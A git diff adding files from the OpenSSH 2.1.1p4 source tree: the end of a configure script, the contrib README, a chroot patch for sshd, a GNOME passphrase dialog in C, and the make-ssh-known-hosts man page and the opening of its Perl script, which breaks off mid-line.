"$f") ; then + conf_lastlog_location=$f + fi + done + if test -z "$conf_lastlog_location"; then + AC_MSG_WARN([** Cannot find lastlog **]) + dnl Don't define DISABLE_LASTLOG - that means we don't try wtmp/wtmpx + fi + fi +fi + +if test -n "$conf_lastlog_location"; then + AC_DEFINE_UNQUOTED(CONF_LASTLOG_FILE, "$conf_lastlog_location") +fi + +dnl utmp detection +AC_MSG_CHECKING([if your system defines UTMP_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *utmp = UTMP_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_utmp_path=no ] +) +if test -z "$conf_utmp_location"; then + if test x"$system_utmp_path" = x"no" ; then + for f in /etc/utmp /usr/adm/utmp /var/run/utmp; do + if test -f $f ; then + conf_utmp_location=$f + fi + done + if test -z "$conf_utmp_location"; then + AC_DEFINE(DISABLE_UTMP) + fi + fi +fi +if test -n "$conf_utmp_location"; then + AC_DEFINE_UNQUOTED(CONF_UTMP_FILE, "$conf_utmp_location") +fi + +dnl wtmp detection +AC_MSG_CHECKING([if your system defines WTMP_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *wtmp = WTMP_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_wtmp_path=no ] +) +if test -z "$conf_wtmp_location"; then + if test x"$system_wtmp_path" = x"no" ; then + for f in /usr/adm/wtmp /var/log/wtmp; do + if test -f $f ; then + conf_wtmp_location=$f + fi + done + if test -z "$conf_wtmp_location"; then + AC_DEFINE(DISABLE_WTMP) + fi + fi +fi +if test -n "$conf_wtmp_location"; then + AC_DEFINE_UNQUOTED(CONF_WTMP_FILE, "$conf_wtmp_location") +fi + + +dnl utmpx detection - I don't know any system so perverse as to require +dnl utmpx, but not define UTMPX_FILE (ditto wtmpx.) No doubt it's out +dnl there, though. +AC_MSG_CHECKING([if your system defines UTMPX_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *utmpx = UTMPX_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_utmpx_path=no ] +) +if test -z "$conf_utmpx_location"; then + if test x"$system_utmpx_path" = x"no" ; then + AC_DEFINE(DISABLE_UTMPX) + fi +else + AC_DEFINE_UNQUOTED(CONF_UTMPX_FILE, "$conf_utmpx_location") +fi + +dnl wtmpx detection +AC_MSG_CHECKING([if your system defines WTMPX_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *wtmpx = WTMPX_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ AC_MSG_RESULT(no) + system_wtmpx_path=no ] +) +if test -z "$conf_wtmpx_location"; then + if test x"$system_wtmpx_path" = x"no" ; then + AC_DEFINE(DISABLE_WTMPX) + fi +else + AC_DEFINE_UNQUOTED(CONF_WTMPX_FILE, "$conf_wtmpx_location") +fi + + +# Change default command timeout for builtin PRNG +entropy_timeout=200 +AC_ARG_WITH(entropy-timeout, + [ --with-entropy-timeout Specify entropy gathering command timeout (msec)], + [ + if test "x$withval" != "xno" ; then + entropy_timeout=$withval + fi + ] +) +AC_DEFINE_UNQUOTED(ENTROPY_TIMEOUT_MSEC, $entropy_timeout) + + +if test ! -z "$blibpath" ; then + LDFLAGS="$LDFLAGS -blibpath:$blibpath" + AC_MSG_WARN([Please check and edit -blibpath in LDFLAGS in Makefile]) +fi + +AC_OUTPUT(Makefile ssh_prng_cmds) + +# Print summary of options + +if test x$MANTYPE = x'$(CATMAN)' ; then + MAN_MSG=cat +else + MAN_MSG=man +fi +if test ! -z "$RANDOM_POOL" ; then + RAND_MSG="Device ($RANDOM_POOL)" +else + if test ! -z "$EGD_SOCKET" ; then + RAND_MSG="EGD ($EGD_SOCKET)" + else + RAND_MSG="Builtin (timeout $entropy_timeout)" + fi +fi + +# Someone please show me a better way :) +A=`eval echo ${prefix}` ; A=`eval echo ${A}` +B=`eval echo ${bindir}` ; B=`eval echo ${B}` +C=`eval echo ${sbindir}` ; C=`eval echo ${C}` +D=`eval echo ${sysconfdir}` ; D=`eval echo ${D}` +E=`eval echo ${libexecdir}/ssh/ssh-askpass` ; E=`eval echo ${E}` +F=`eval echo ${mandir}/${mansubdir}X` ; F=`eval echo ${F}` +G=`eval echo ${piddir}` ; G=`eval echo ${G}` + +echo "" +echo "OpenSSH configured has been configured with the following options." +echo " User binaries: $B" +echo " System binaries: $C" +echo " Configuration files: $D" +echo " Askpass program: $E" +echo " Manual pages: $F" +echo " PID file: $G" +echo " Random number collection: $RAND_MSG" +echo " Manpage format: $MAN_MSG" +echo " PAM support: ${PAM_MSG}" +echo " KerberosIV support: $KRB4_MSG" +echo " AFS support: $AFS_MSG" +echo " S/KEY support: $SKEY_MSG" +echo " TCP Wrappers support: $TCPW_MSG" +echo " MD5 password support: $MD5_MSG" +echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +echo " Use IPv4 by default hack: $IPV4_HACK_MSG" +echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG" + +echo "" + +echo "Compiler flags: ${CFLAGS}" +echo "Linker flags: ${LDFLAGS}" +echo "Libraries: ${LIBS}" + +echo "" + diff --git a/other/openssh-2.1.1p4/contrib/README b/other/openssh-2.1.1p4/contrib/README new file mode 100644 index 0000000..f04ad15 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/README @@ -0,0 +1,67 @@ +Other patches and addons for OpenSSH. Please send submissions to +djm@ibs.com.au + +In this directory +----------------- + +chroot.diff: + +Ricardo Cerqueira's patch to enable chrooting using the +wu-ftpd style magic home directories (containing '/./'). More details in +the head of the patch itself. + +make-ssh-known-hosts: + +Tero Kivinen's PERL script to generate +ssh_known_hosts files by trawling tjhrough the DNS. More details in the +manpage. + +ssh-copy-id: + +Phil Hands' shell script to automate the process of adding +your public key to a remote machine's ~/.ssh/authorized_keys file. + +gnome-ssh-askpass: + +A GNOME passphrase requester of my own creation. Compilation instructions +are in the top of the file. + +sshd.pam.generic: + +A generic PAM config file which may be useful on your system. YMMV + +sshd.pam.freebsd + +A PAM config file which works with FreeBSD's PAM port. Contributed by +Dominik Brettnacher + +redhat: + +RPM spec file an scripts for building Redhat packages + +suse: + +RPM spec file an scripts for building SuSE packages + + +Externally maintained +--------------------- + +liblogin: + +liblogin is Andre Lucas' cross platform login library. It handles all the +yucky details of wtmp, utmp and lastlog (which every OS vendor has +seen fit to implement differently) in one clean library. + +OpenSSH will require liblogin in the near future, but for now it is +recommended for users with login logging problems or curiosity. + +http://dspace.dial.pipex.com/andre.lucas/liblogin.html + +X11 SSH Askpass: + +Jim Knoble has written an excellent X11 +passphrase requester. This is highly recommended: + +http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/index.html + diff --git a/other/openssh-2.1.1p4/contrib/chroot.diff b/other/openssh-2.1.1p4/contrib/chroot.diff new file mode 100644 index 0000000..d2a42d8 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/chroot.diff @@ -0,0 +1,61 @@ +From: Ricardo Cerqueira + +A patch to cause sshd to chroot when it encounters the magic token +'/./' in a users home directory. The directory portion before the +token is the directory to chroot() to, the portion after the +token is the user's home directory relative to the new root. + +Index: session.c +=================================================================== +RCS file: /var/cvs/openssh/session.c,v +retrieving revision 1.4 +diff -u -r1.4 session.c +--- session.c 2000/04/16 02:31:51 1.4 ++++ session.c 2000/04/16 02:47:55 +@@ -27,6 +27,8 @@ + #include "ssh2.h" + #include "auth.h" + ++#define CHROOT ++ + /* types */ + + #define TTYSZ 64 +@@ -783,6 +785,10 @@ + extern char **environ; + struct stat st; + char *argv[10]; ++#ifdef CHROOT ++ char *user_dir; ++ char *new_root; ++#endif /* CHROOT */ + + #ifndef USE_PAM /* pam_nologin handles this */ + f = fopen("/etc/nologin", "r"); +@@ -799,6 +805,26 @@ + /* Set login name in the kernel. */ + if (setlogin(pw->pw_name) < 0) + error("setlogin failed: %s", strerror(errno)); ++ ++#ifdef CHROOT ++ user_dir = xstrdup(pw->pw_dir); ++ new_root = user_dir + 1; ++ ++ while((new_root = strchr(new_root, '.')) != NULL) { ++ new_root--; ++ if(strncmp(new_root, "/./", 3) == 0) { ++ *new_root = '\0'; ++ new_root += 2; ++ ++ if(chroot(user_dir) != 0) ++ fatal("Couldn't chroot to user directory %s", user_dir); ++ ++ pw->pw_dir = new_root; ++ break; ++ } ++ new_root += 2; ++ } ++#endif /* CHROOT */ + + /* Set uid, gid, and groups. */ + /* Login(1) does this as well, and it needs uid 0 for the "-h" diff --git a/other/openssh-2.1.1p4/contrib/gnome-ssh-askpass.c b/other/openssh-2.1.1p4/contrib/gnome-ssh-askpass.c new file mode 100644 index 0000000..5b6f65e --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/gnome-ssh-askpass.c @@ -0,0 +1,155 @@ +/* + Compile with: + + cc `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` + +*/ + +/* +** +** GNOME ssh passphrase requestor +** +** Damien Miller +** +** Copyright 1999 Internet Business Solutions +** +** Permission is hereby granted, free of charge, to any person +** obtaining a copy of this software and associated documentation +** files (the "Software"), to deal in the Software without +** restriction, including without limitation the rights to use, copy, +** modify, merge, publish, distribute, sublicense, and/or sell copies +** of the Software, and to permit persons to whom the Software is +** furnished to do so, subject to the following conditions: +** +** The above copyright notice and this permission notice shall be +** included in all copies or substantial portions of the Software. +** +** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY +** KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +** WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE +** AND NONINFRINGEMENT. IN NO EVENT SHALL DAMIEN MILLER OR INTERNET +** BUSINESS SOLUTIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +** ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE +** OR OTHER DEALINGS IN THE SOFTWARE. +** +** Except as contained in this notice, the name of Internet Business +** Solutions shall not be used in advertising or otherwise to promote +** the sale, use or other dealings in this Software without prior +** written authorization from Internet Business Solutions. +** +*/ + +#include +#include +#include +#include +#include +#include + +void +report_failed_grab (void) +{ + GtkWidget *err; + + err = gnome_message_box_new("Could not grab keyboard or mouse.\n" + "A malicious client may be eavesdropping on your session.", + GNOME_MESSAGE_BOX_ERROR, "EXIT", NULL); + gtk_window_set_position(GTK_WINDOW(err), GTK_WIN_POS_CENTER); + gtk_object_set(GTK_OBJECT(err), "type", GTK_WINDOW_POPUP, NULL); + + gnome_dialog_run_and_close(GNOME_DIALOG(err)); +} + +void +passphrase_dialog(char *message) +{ + char *passphrase; + int result; + + GtkWidget *dialog, *entry, *label; + + dialog = gnome_dialog_new("OpenSSH", GNOME_STOCK_BUTTON_OK, + GNOME_STOCK_BUTTON_CANCEL, NULL); + + label = gtk_label_new(message); + gtk_box_pack_start(GTK_BOX(GNOME_DIALOG(dialog)->vbox), label, FALSE, + FALSE, 0); + + entry = gtk_entry_new(); + gtk_box_pack_start(GTK_BOX(GNOME_DIALOG(dialog)->vbox), entry, FALSE, + FALSE, 0); + gtk_entry_set_visibility(GTK_ENTRY(entry), FALSE); + gtk_widget_grab_focus(entry); + + /* Center window and prepare for grab */ + gtk_object_set(GTK_OBJECT(dialog), "type", GTK_WINDOW_POPUP, NULL); + gnome_dialog_set_default(GNOME_DIALOG(dialog), 0); + gtk_window_set_position (GTK_WINDOW(dialog), GTK_WIN_POS_CENTER); + gtk_window_set_policy(GTK_WINDOW(dialog), FALSE, FALSE, TRUE); + gnome_dialog_close_hides(GNOME_DIALOG(dialog), TRUE); + gtk_container_set_border_width(GTK_CONTAINER(GNOME_DIALOG(dialog)->vbox), GNOME_PAD); + gtk_widget_show_all(dialog); + + /* Grab focus */ + XGrabServer(GDK_DISPLAY()); + if (gdk_pointer_grab(dialog->window, TRUE, 0, + NULL, NULL, GDK_CURRENT_TIME)) + goto nograb; + if (gdk_keyboard_grab(dialog->window, FALSE, GDK_CURRENT_TIME)) + goto nograbkb; + + /* Make close dialog */ + gnome_dialog_editable_enters(GNOME_DIALOG(dialog), GTK_EDITABLE(entry)); + + /* Run dialog */ + result = gnome_dialog_run(GNOME_DIALOG(dialog)); + + /* Ungrab */ + XUngrabServer(GDK_DISPLAY()); + gdk_pointer_ungrab(GDK_CURRENT_TIME); + gdk_keyboard_ungrab(GDK_CURRENT_TIME); + gdk_flush(); + + /* Report passphrase if user selected OK */ + passphrase = gtk_entry_get_text(GTK_ENTRY(entry)); + if (result == 0) + puts(passphrase); + + /* Zero passphrase in memory */ + memset(passphrase, '\0', strlen(passphrase)); + gtk_entry_set_text(GTK_ENTRY(entry), passphrase); + + gnome_dialog_close(GNOME_DIALOG(dialog)); + return; + + /* At least one grab failed - ungrab what we got, and report + the failure to the user. Note that XGrabServer() cannot + fail. */ + nograbkb: + gdk_pointer_ungrab(GDK_CURRENT_TIME); + nograb: + XUngrabServer(GDK_DISPLAY()); + gnome_dialog_close(GNOME_DIALOG(dialog)); + + report_failed_grab(); +} + +int +main(int argc, char **argv) +{ + char *message; + + gnome_init("GNOME ssh-askpass", "0.1", argc, argv); + + if (argc == 2) + message = argv[1]; + else + message = "Enter your OpenSSH passphrase:"; + + setvbuf(stdout, 0, _IONBF, 0); + passphrase_dialog(message); + return 0; +} diff --git a/other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.1 b/other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.1 new file mode 100644 index 0000000..54ddfe6 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.1 @@ -0,0 +1,432 @@ +.\" -*- nroff -*- +.\" ---------------------------------------------------------------------- +.\" make-ssh-known-hosts.1 -- Make ssh-known-hosts file +.\" Copyright (c) 1995 Tero Kivinen +.\" All Rights Reserved. +.\" +.\" Make-ssh-known-hosts is distributed in the hope that it will be +.\" useful, but WITHOUT ANY WARRANTY. No author or distributor accepts +.\" responsibility to anyone for the consequences of using it or for +.\" whether it serves any particular purpose or works at all, unless he +.\" says so in writing. Refer to the General Public License for full +.\" details. +.\" +.\" Everyone is granted permission to copy, modify and redistribute +.\" make-ssh-known-hosts, but only under the conditions described in +.\" the General Public License. A copy of this license is supposed to +.\" have been given to you along with make-ssh-known-hosts so you can +.\" know your rights and responsibilities. It should be in a file named +.\" COPYING. Among other things, the copyright notice and this notice +.\" must be preserved on all copies. +.\" ---------------------------------------------------------------------- +.\" Program: make-ssh-known-hosts.1 +.\" $Source: /var/cvs/openssh/contrib/make-ssh-known-hosts.1,v $ +.\" Author : $Author: damien $ +.\" +.\" (C) Tero Kivinen 1995 +.\" +.\" Creation : 03:51 Jun 28 1995 kivinen +.\" Last Modification : 03:44 Jun 28 1995 kivinen +.\" Last check in : $Date: 2000/03/15 01:13:03 $ +.\" Revision number : $Revision: 1.1 $ +.\" State : $State: Exp $ +.\" Version : 1.1 +.\" +.\" Description : Manual page for make-ssh-known-hosts.pl +.\" +.\" $Log: make-ssh-known-hosts.1,v $ +.\" Revision 1.1 2000/03/15 01:13:03 damien +.\" - Created contrib/ subdirectory. Included helpers from Phil Hands' +.\" Debian package, README file and chroot patch from Ricardo Cerqueira +.\" +.\" - Moved gnome-ssh-askpass.c to contrib directory and reomved config +.\" option. +.\" - Slight cleanup to doc files +.\" +.\" Revision 1.4 1998/07/08 00:40:14 kivinen +.\" Changed to do similar commercial #ifdef processing than other +.\" files. +.\" +.\" Revision 1.3 1998/06/11 00:07:21 kivinen +.\" Fixed comment characters. +.\" +.\" Revision 1.2 1997/04/27 21:48:28 kivinen +.\" Added F-SECURE stuff. +.\" +.\" Revision 1.1.1.1 1996/02/18 21:38:13 ylo +.\" Imported ssh-1.2.13. +.\" +.\" Revision 1.5 1995/10/02 01:23:23 ylo +.\" Make substitutions by configure. +.\" +.\" Revision 1.4 1995/08/31 09:21:35 ylo +.\" Minor cleanup. +.\" +.\" Revision 1.3 1995/08/29 22:37:10 ylo +.\" Minor cleanup. +.\" +.\" Revision 1.2 1995/07/15 13:26:11 ylo +.\" Changes from kivinen. +.\" +.\" Revision 1.1.1.1 1995/07/12 22:41:05 ylo +.\" Imported ssh-1.0.0. +.\" +.\" +.\" +.\" If you have any useful modifications or extensions please send them to +.\" Tero.Kivinen@hut.fi +.\" +.\" +.\" +.\" +.\" +.\" #ifndef F_SECURE_COMMERCIAL +.TH MAKE-SSH-KNOWN-HOSTS 1 "November 8, 1995" "SSH TOOLS" "SSH TOOLS" +.\" #endif F_SECURE_COMMERCIAL +.SH NAME +make-ssh-known-hosts \- make ssh_known_hosts file from DNS data +.SH SYNOPSIS +.na +.TP +.B make-ssh-known-hosts +.RB "[\|" "\-\-initialdns "\c +.I initial_dns\c +\|] +.br +.RB "[\|" "\-\-server "\c +.I domain_name_server\c +\|] +.br +.RB "[\|" "\-\-subdomains "\c +.I comma_separated_list_of_subdomains\c +\|] +.br +.RB "[\|" "\-\-debug "\c +.I debug_level\c +\|] +.br +.RB "[\|" "\-\-timeout "\c +.I ssh_exec_timeout\c +\|] +.br +.RB "[\|" "\-\-pingtimeout "\c +.I ping_timeout\c +\|] +.br +.RB "[\|" "\-\-passwordtimeout "\c +.I timeout_when_asking_password\c +\|] +.br +.RB "[\|" "\-\-notrustdaemon" "\|]" +.br +.RB "[\|" "\-\-norecursive" "\|]" +.br +.RB "[\|" "\-\-domainnamesplit" "\|]" +.br +.RB "[\|" "\-\-silent" "\|]" +.br +.RB "[\|" "\-\-keyscan" "\|]" +.br +.RB "[\|" "\-\-nslookup "\c +.I path_to_nslookup_program\c +\|] +.br +.RB "[\|" "\-\-ssh "\c +.I path_to_ssh_program\c +\|] +.br +.IR "domain_name " "[\|" "take_regexp " "[\|" "remove_regexp"\|]\|]" + +.SH DESCRIPTION +.LP +.B make-ssh-known-hosts +is a perl5 script that helps create the +.I /etc/ssh_known_hosts +file, which is used by +.B ssh +to contain the host keys of all publicly known hosts. +.B Ssh +does not normally permit login using rhosts or /etc/hosts.equiv +authentication unless the server knows the client's host key. In +addition, the host keys are used to prevent man-in-the-middle attacks. +.LP +In addition to +.IR /etc/ssh_known_hosts ", +.B ssh +also uses the +.I $HOME/.ssh/known_hosts +file. This file, however, is intended to contain only those hosts +that the particular user needs but are not in the global file. It is +intended that the +.I /etc/ssh_known_hosts +file be maintained by the system administration, and periodically +updated to contain the host keys for any new hosts. +.LP +The +.B make-ssh-known-hosts +program finds all the hosts in a domain by making a DNS query to the +master domain name server of the domain. The master domain name server +is located by searching for the SOA record of the domain from the initial +domain name server (which can be specified with the +.B \-\-initialdns +option). The master domain name server can also be given directly with +the +.B \-\-server +option. +.LP +After getting the hostname list +.B make-ssh-known-hosts +tries to get the public key from every host in the domain. It first +tries to connect ssh port to check check if the host is alive, and if +so, it tries to run the command +.B cat /etc/ssh_host_key.pub +on the remote machine using +.BR ssh ". +If the command succeeds, it knows the remote machine has +.B ssh +installed properly, and it then extracts the public key from the +output, and prints the +.B /etc/ssh_known_hosts +entry for it to +.BR STDOUT ". Because +.B make-ssh-known-hosts +is usually run before +remote machines have /etc/ssh_known_hosts file you may have to use +RSA-authentication to allow access to hosts. +.LP +If the command fails for some reason, it checks if the +.B ssh +client still got the public key from the remote host in the initial dialog, +and if so, it will print a proper entry, and if +.B \-\-notrustdaemon +option is given comment it out. +.LP +.I Domain_name +is the domain name for which the file is to be generated. By default +.B make-ssh-known-hosts +extracts also all subdomains of domain. Many sites will want to +include several domains in their +.I /etc/ssh_known_hosts +file. The entries for each domain should be extracted separately by +running +.B make-ssh-known-hosts +once for each domain. The results should then be combined to create +the final file. +.LP +.I Take_regexp +is a perl regular expression that matches the hosts to be taken from the +domain. The data matched contains all the DNS records in the form "\|\c +.B fieldname=value\c +\|". The fields are separated with newline, and the perl match is made in +multiline mode and it is case insensetive. The multiline mode means +that you can use a regexp like "\|\c +.B ^wks=.*telnet.*$\c +\|" to match all hosts that have WKS (well known services) field that +contains value "telnet". +.LP +.I Remove_regexp +is similar but those hosts that match the regexp are not added (it can +be used for example to filter out PCs and Macs using the hinfo field: "\|\c +.B ^hinfo=.*(mac|pc)\c +\|"). + +.SH OPTIONS +.TP +.BI "\-\-initialdns " "initial_dns"\c +.TP +.BI "\-i " "initial_dns"\c +\&Set the initial domain name server used to query the SOA record of the +domain. + +.TP +.BI "\-\-server " "domain_name_server"\c +.TP +.BI "\-se " "domain_name_server"\c +\&Set the master domain name server of the domain. This host is used +to query the DNS list of the domain. + +.TP +.BI "\-\-subdomains " "subdomainlist"\c +.TP +.BI "\-su " "subdomainlist"\c +\&Comma separated list of subdomains that are added to hostnames. For +example, if subdomainlist is "\|\c +.I ,foo, foo.bar, foo.bar.zappa, foo.bar.zappa.hut.fi\c +\|" then when host foobar is added to +.B /etc/ssh_known_hosts +file it has aliases "\|\c +.I foobar, foobar.foo, foobar.foo.bar, foobar.foo.bar.zappa, foobar.foo.bar.zappa.hut.fi\c +\|". The default action is to take all subparts of the host but the +second last on a host by host basis. (The last element is usually the +country code, and something like +.I foobar.foo.bar.zappa.hut +would not make sense.) + +.TP +.BI "\-\-debug " "debug_level"\c +.TP +.BI "\-de " "debug_level"\c +\&Set the debug level. Default is 5, bigger values give more output. +Using a big value (like 999) will print lots of debugging output. + +.TP +.BI "\-\-timeout " "ssh_exec_timeout"\c +.TP +.BI "\-ti " "ssh_exec_timeout"\c +\&Timeout when executing +.B ssh +command. The default is 60 seconds. + +.TP +.BI "\-\-pingtimeout " "ping_timeout"\c +.TP +.BI "\-pi " "ping_timeout"\c +\&Timeout when trying to ping the ssh port. The default is 3 seconds. + +.TP +.BI "\-\-passwordtimeout " "timeout_when_asking_password"\c +.TP +.BI "\-pa " "timeout_when_asking_password"\c +\&Timeout when asking password for ssh command. Default is that no +passwords are queried. Use value 0 to have no timeout for password queries. + +.TP +.BI "\-\-notrustdaemon"\c +.TP +.BI "\-notr"\c +\&If the +.B ssh +command fails, use the public key stored in the local known hosts file +and trust it is the correct key for the host. If this option is not +given such entries are commented out in the generated +.B /etc/ssh_known_hosts +file. + +.TP +.BI "\-\-norecursive"\c +.TP +.BI "\-nor"\c +\&Tell +.B make-ssh-known-hosts +that it should only extract keys for the given domain, and not to be +recursive. + +.TP +.BI "\-\-domainnamesplit"\c +.TP +.BI "\-do"\c +\&Split the domainname to get the list of subdomains. Use this option +if you don't want hostname to splitted to pieces automatically. +Default splitting is done host by host basis. If the domain is +zappa.hut.fi, and the host name is foo.bar then default action adds +entries "\|\c +.I foo, foo.bar, foo.bar.zappa, foo.bar.zappa.hut.fi\c +\|" and this options adds entries "\|\c +.I foo.bar, foo.bar.zappa, foo.bar.zappa.hut.fi\c +\|"). + +.TP +.BI "\-\-silent"\c +.TP +.BI "\-si"\c +\&Be silent. + +.TP +.BI "\-\-keyscan"\c +.TP +.BI "\-k"\c +\&Output list of all hosts in format "ipaddr1,ipaddr2,...ipaddrn +hostname.domain.co,hostname,ipaddr1,ipaddr2,all_other_hostname_entries". +The output of this can be feeded to ssh-keyscan to fetch keys. + +.TP +.BI "\-\-nslookup " "path_to_nslookup_program"\c +.TP +.BI "\-n " "path_to_nslookup_program"\c +\&Path to the +.B nslookup +program. + +.TP +.BI "\-\-ssh " "path_to_ssh_program"\c +.TP +.BI "\-ss " "path_to_ssh_program"\c +\&Path to the +.B ssh +program, including all options. + +.SH EXAMPLES +.LP +The following command: +.IP +.B example# make-ssh-known-hosts cs.hut.fi > \c +.B /etc/ssh_known_hosts +.LP +finds all public keys of the hosts in +.B cs.hut.fi +domain and put them to +.B /etc/ssh_known_hosts +file splitting domain names on a per host basis. +.LP +The command +.IP +.B example% make-ssh-known-hosts hut.fi '^wks=.*ssh' > \c +.B hut-hosts +.LP +finds all hosts in +.B hut.fi +domain, and its subdomains having own name server (cs.hut.fi, +tf.hut.fi, tky.hut.fi) that have ssh service and puts their public key +to hut-hosts file. This would require that the domain name server of +hut.fi would define all hosts running ssh to have entry ssh in their +WKS record. Because nobody yet adds ssh to WKS, it would be better to +use command +.IP +.B example% make-ssh-known-hosts hut.fi '^wks=.*telnet' > \c +.B hut-hosts +.LP +that would take those host having telnet service. This uses default +subdomain list. + +.LP +The command: +.IP +.B example% make-ssh-known-hosts hut.fi 'dipoli.hut.fi' '^hinfo=.*(mac|pc)' > \c +.B dipoli-hosts +.LP +finds all hosts in hut.fi domain that are in dipoli.hut.fi subdomain +(note dipoli.hut.fi does not have own name server so its entries are +in hut.fi-server) and that are not Mac or PC. + +.SH FILES +.ta 3i +/etc/ssh_known_hosts Global host public key list + +.SH "SEE ALSO" +.BR ssh (1), +.BR sshd (8), +.BR ssh-keygen (1), +.BR ping (8), +.BR nslookup (8), +.BR perl (1), +.BR perlre (1) + +.SH AUTHOR +Tero Kivinen + +.SH COPYING +.LP +Permission is granted to make and distribute verbatim copies of +this manual provided the copyright notice and this permission notice +are preserved on all copies. +.LP +Permission is granted to copy and distribute modified versions of this +manual under the conditions for verbatim copying, provided that the +entire resulting derived work is distributed under the terms of a +permission notice identical to this one. +.LP +Permission is granted to copy and distribute translations of this +manual into another language, under the above conditions for modified +versions, except that this permission notice may be included in +translations approved by the the author instead of in the original +English. diff --git a/other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.pl b/other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.pl new file mode 100644 index 0000000..38e6582 --- /dev/null +++ b/other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.pl @@ -0,0 +1,737 @@ +#!/usr/bin/perl -w +# -*- perl -*- +###################################################################### +# make-ssh-known-hosts.pl -- Make ssh-known-hosts file +# Copyright (c) 1995 Tero Kivinen +# All Rights Reserved. +# +# Make-ssh-known-hosts is distributed in the hope that it will be +# useful, but WITHOUT ANY WARRANTY. No author or distributor accepts +# responsibility to anyone for the consequences of using it or for +# whether it serves any particular purpose or works at all, unless he +# says so in writing. Refer to the GNU General Public License for full +# details. +# +# Everyone is granted permission to copy, modify and redistribute +# make-ssh-known-hosts, but only under the conditions described in +# the GNU General Public License. A copy of this license is supposed to +# have been given to you along with make-ssh-known-hosts so you can +# know your rights and responsibilities. It should be in a file named +# gnu-COPYING-GPL. Among other things, the copyright notice and this notice +# must be preserved on all copies. +###################################################################### +# Program: make-ssh-known-hosts.pl +# $Source: /var/cvs/openssh/contrib/make-ssh-known-hosts.pl,v $ +# Author : $Author: damien $ +# +# (C) Tero Kivinen 1995 +# +# Creation : 19:52 Jun 27 1995 kivinen +# Last Modification : 00:07 Jul 8 1998 kivinen +# Last check in : $Date: 2000/03/15 01:13:03 $ +# Revision number : $Revision: 1.1 $ +# State : $State: Exp $ +# Version : 1.343 +# Edit time : 242 min +# +# Description : Make ssh-known-host file from dns data. +# +# $Log: make-ssh-known-hosts.pl,v $ +# Revision 1.1 2000/03/15 01:13:03 damien +# - Created contrib/ subdirectory. Included helpers from Phil Hands' +# Debian package, README file and chroot patch from Ricardo Cerqueira +# +# - Moved gnome-ssh-askpass.c to contrib directory and reomved config +# option. +# - Slight cleanup to doc files +# +# Revision 1.6 1998/07/08 00:44:23 kivinen +# Fixed to understand bind 8 nslookup output. +# +# Revision 1.5 1998/04/30 01:53:33 kivinen +# Moved kill before close and added sending SIGINT first and +# then 1 second sleep before sending SIGKILL. +# +# Revision 1.4 1998/04/17 00:39:19 kivinen +# Changed to close ssh program filedescriptor before killing it. +# Removed ^ from the password matching prompt. +# +# Revision 1.3 1997/04/17 04:21:27 kivinen +# Changed to use 3des by default. +# +# Revision 1.2 1997/03/26 07:14:01 kivinen +# Added EWOULDBLOCK. +# +# Revision 1.1.1.1 1996/02/18 21:38:10 ylo +# Imported ssh-1.2.13. +# +# Revision 1.4 1995/10/02 01:23:45 ylo +# Ping packet size fixes from Kivinen. +# +# Revision 1.3 1995/08/29 22:37:39 ylo +# Now uses GlobalKnownHostsFile and UserKnownHostsFile. +# +# Revision 1.2 1995/07/15 13:26:37 ylo +# Changes from kivinen. +# +# Revision 1.1.1.1 1995/07/12 22:41:05 ylo +# Imported ssh-1.0.0. +# +# +# +# If you have any useful modifications or extensions please send them to +# Tero.Kivinen@hut.fi +# +###################################################################### +# initialization + +require 5.000; +use Getopt::Long; +use FileHandle; +use POSIX; +use Socket; +use Fcntl; + +$version = ' $Id: make-ssh-known-hosts.pl,v 1.1 2000/03/15 01:13:03 damien Exp $ '; + +$command_line = "$0 "; +foreach $a (@ARGV) { + $command_line .= $a . " "; +} +STDERR->autoflush(1); + +###################################################################### +# default values for options + +$debug = 5; +$defserver = ''; +$bell='\a'; +$public_key = '/etc/ssh_host_key.pub'; +$private_ssh_known_hosts = "/tmp/ssh_known_hosts$$"; +$timeout = 60; +$ping_timeout = 3; +$passwordtimeout = undef; +$trustdaemon = 1; +$domainnamesplit = 0; +$recursive = 1; + +###################################################################### +# Programs and their options + +$nslookup = "nslookup"; + +$ssh="ssh -a -c 3des -x -o 'ConnectionAttempts 1' -o 'FallBackToRsh no' -o 'GlobalKnownHostsFile /dev/null' -o 'KeepAlive yes' -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile $private_ssh_known_hosts'"; +$sshdisablepasswordoption="-o 'BatchMode yes' -o 'PasswordAuthentication no'"; + +###################################################################### +# Cleanup and initialization + +unlink($private_ssh_known_hosts); +$sockaddr = 'S n a4 